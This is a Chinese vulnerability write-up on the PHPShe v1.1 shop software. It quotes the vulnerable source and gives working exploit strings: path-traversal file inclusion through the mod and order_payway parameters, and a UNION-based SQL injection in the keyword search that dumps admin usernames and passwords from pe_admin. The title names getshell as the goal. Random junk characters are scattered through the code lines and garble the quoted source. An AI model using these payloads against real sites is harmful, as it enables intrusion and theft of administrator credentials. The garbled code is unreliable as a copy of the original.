phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
& Y- v8 h9 S6 p0 ?0 Z/ r, X' M/* Phpshe v1.1 Vulnerability
/* ========================
' }1 P# f4 Y& q4 j+ M/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输
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( u" ~) i% C1 O% i( }5 w  H//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
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1 G8 H# ?3 _/ u  q0 T- jelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
2 V5 |, u9 R- o7 _9 ~9 G7 J! e}
- o. V! c, k1 {( G) \session_start();
9 D: w8 I" B2 e+ O# v!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
1 V# C, I6 i5 k* o!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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0×01 包含漏洞

* k; |: ]$ e1 J9 o4 Z  {
  K" c' Q( w3 ~) O: q1 Y//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
" H8 B" t- m. d  Q# r2 ^include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
/ T% g- e. _# \9 ~* R?>
//common 文件 第15行开始
9 g4 Z+ e; k, ?6 z" G6 Wurl路由配置
( g0 J5 R8 H7 F5 X5 A; G1 T$module = $mod = $act = 'index';
8 H9 R7 ]/ l6 M" y$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
( V4 G' X  w2 N6 p. i/ G- k( Q2 u$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
" a  Q3 U# M) I8 t+ w$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
) [: a1 v% @( k2 I, j, Epe_lead('hook/category.hook.php');
if ($category_id) {
- A+ i  D/ u8 ]. ^where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
0 i) T: U' V: P! x# P5 O' j}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
0 c* V* ?6 E1 n4 B3 z9 Eif ($_g_orderby) {
: |! e0 j1 |! h0 Y' n$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
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+ m' E" g; g; E% M9 t( gelse {
$sqlwhere .= " order by `product_id` desc";
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$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
7 B' ?+ a# b  `' e0 i: c$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
; |; B+ X5 S# }1 K4 X" e3 |0 Vpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
- a, y+ H7 T! n% R  t% F4 _( @5 G{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
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//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>

8 d) H4 O# t8 G1 `6 a0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

8 O; F7 [1 ~1 A$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

# @& H2 d1 X2 d# l' L% \" h) w( N- Z$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

* N) s! ^2 s" i7 k; b& oif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

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}

2 w+ a3 J  K) Y' k' }$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

' r8 i- S# H; }& \2 x' kif (isset($_p_pesubmit)) {

# U" Z( v  T7 g5 yif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

- d# q+ ]" Z4 `& w+ \$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

% @6 M4 W5 Z* v1 N% s/ V( f! {}//当一切准备好的时候就可以进行"鸡肋包含了"

* n, d1 }$ U: [4 `( helse {

pe_error('支付错误...');

) [9 d( U; ^; J% i1 t8 ]}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

" f2 U0 J) S" T" j! ybreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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